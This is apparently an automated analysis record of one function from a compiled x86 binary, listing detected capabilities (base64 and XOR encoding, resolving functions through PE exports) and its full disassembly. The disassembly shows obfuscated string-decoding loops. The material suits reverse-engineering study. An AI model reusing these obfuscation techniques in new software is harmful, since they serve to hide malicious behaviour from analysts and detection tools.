Function at 0x42fa20
Capabilities:
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x9f0
mov esi, esp
push 0x1000
call fcn.0040ce10
add esp, 4
mov dword [esi + 0x24], eax
mov dword [esi + 0x704], 0xc3b2a48a
mov dword [esi + 0x708], 0xe5d621cd
mov word [esi + 0x70c], 0xa988
mov dword [esi + 0x70e], 0
mov eax, 0x6741f01c
nop
nop
nop
movzx ecx, byte [esi + eax - 0x6741e918]
xor ecx, eax
mov edx, ecx
and edx, 0x63004071
mov ebx, ecx
and ebx, 2
mov edi, ebx
xor edi, 2
imul edi, edx
or edx, 2
imul edx, ebx
xor ecx, 0x73
add ecx, edi
add ecx, edx
inc cl
mov byte [esi + eax - 0x6741e918], cl
inc eax
cmp eax, 0x6741f02a
jne 0x42fa70
mov eax, dword [str.7c263357d04aff473cb2eda8a42ff033]
mov dword [esi + 8], eax
mov dword [esi + 0x404], 0x8c66904e
mov dword [esi + 0x408], 0xa6acd5d1
mov dword [esi + 0x40c], 0xaadcd0a5
mov dword [esi + 0x410], 0xe3dba0d4
mov word [esi + 0x414], 0x57ae
mov byte [esi + 0x416], 0x76
mov word [esi + 0x417], 0
mov byte [esi + 0x419], 0
mov edi, 0xea21caef
mov eax, 0x15de3510
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax - 0x15de310c]
mov dword [esi], ecx
lea ebx, [eax - 0x15de34ff]
and ebx, ecx
mov ecx, ebx
and ecx, 2
mov edx, ebx
or ebx, 2
imul ebx, ecx
xor ecx, 2
and edx, 0x3d
imul edx, ecx
add ebx, edx
mov edx, eax
sub edx, ebx
lea ecx, [edi + ebx]
mov ebx, dword [esi]
xor ecx, ebx
and edx, ebx
add edx, edx
sub edx, ecx
mov ebx, 2
sub ebx, edx
sub ebx, edx
not ebx
and ebx, 2
xor edx, 1
add edx, ebx
add dl, 0xaa
mov byte [esi + eax - 0x15de310c], dl
dec edi
inc eax
cmp edi, 0xea21cad9
jne 0x42fb10
mov ecx, dword [str.BVnUqo___BrunoAgazzi]
mov dword [esi + 0xbc], 0xc2b46b91
mov dword [esi + 0xc0], 0xd4d467cf
mov dword [esi + 0xc4], 0xad6285cd
mov dword [esi + 0xc8], 0xe9be5fb9
mov dword [esi + 0xcc], 0xe6e9e8f7
mov dword [esi + 0xd0], 0xe4ffe6ea
mov dword [esi + 0xd4], 0xac44e6fa
mov dword [esi + 0xd8], 0xeae59150
mov dword [esi + 0xdc], 0xfdf186b6
mov dword [esi + 0xe0], 0xf4f247fc
mov dword [esi + 0xe4], 0x41a4eefd
mov dword [esi + 0xe8], 0x8e958ba0
mov dword [esi + 0xec], 0x8689848f
mov dword [esi + 0xf0], 0x998d8296
mov dword [esi + 0xf4], 0x279e828a
mov dword [esi + 0xf8], 0x86fa2fc3
mov dword [esi + 0xfc], 0xf495989f
mov dword [esi + 0x100], 0x8ef827c6
mov dword [esi + 0x104], 0xc79e9793
mov dword [esi + 0x108], 0xb1a3ce20
mov dword [esi + 0x10c], 0x19f5f51c
mov dword [esi + 0x110], 0xf9f8e7f6
mov dword [esi + 0x114], 0xc512e002
mov dword [esi + 0x118], 0xde8d3c7
mov byte [esi + 0x11c], 0x2c
mov word [esi + 0x121], 0
mov dword [esi + 0x11d], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0x93
xor dl, byte [esi + eax + 0xbc]
add dl, 0x21
mov byte [esi + eax + 0xbc], dl
inc eax
cmp eax, 0x67
jne 0x42fc90
movzx eax, byte [esi + 0xbc]
mov edi, dword [esi + 0x24]
mov ebx, edi
test al, al
je 0x42fcdb
lea edx, [esi + 0xbd]
mov ebx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x42fcd0
mov byte [ebx], 0
movzx eax, byte [ecx]
test al, al
je 0x42fcfb
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fcf0
mov byte [ebx], 0
movzx eax, byte [esi + 0x404]
test al, al
je 0x42fd1b
lea ecx, [esi + 0x405]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fd10
mov byte [ebx], 0
mov ecx, dword [esi + 8]
movzx eax, byte [ecx]
test al, al
je 0x42fd3b
inc ecx
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fd30
mov byte [ebx], 0
movzx eax, byte [esi + 0x704]
test al, al
je 0x42fd5b
lea ecx, [esi + 0x705]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fd50
mov byte [ebx], 0
push 0
call fcn.00444480
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44e598]